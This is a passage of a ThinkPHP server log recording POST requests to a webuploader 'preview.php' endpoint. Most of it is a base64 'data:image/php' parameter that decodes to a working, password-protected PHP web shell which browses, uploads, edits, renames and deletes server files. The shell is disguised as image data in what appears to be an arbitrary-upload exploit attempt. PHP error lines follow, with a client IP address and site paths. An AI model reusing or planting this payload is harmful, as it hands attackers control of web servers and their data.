'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:02+08:00 ] 116.213.36.234 POST 51tianwei.com/viagraedit/webuploader/0.1.15/server/preview.php [运行时间:0.002800s] [吞吐率:357.14req/s] [内存消耗:196.71kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'viagraedit', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 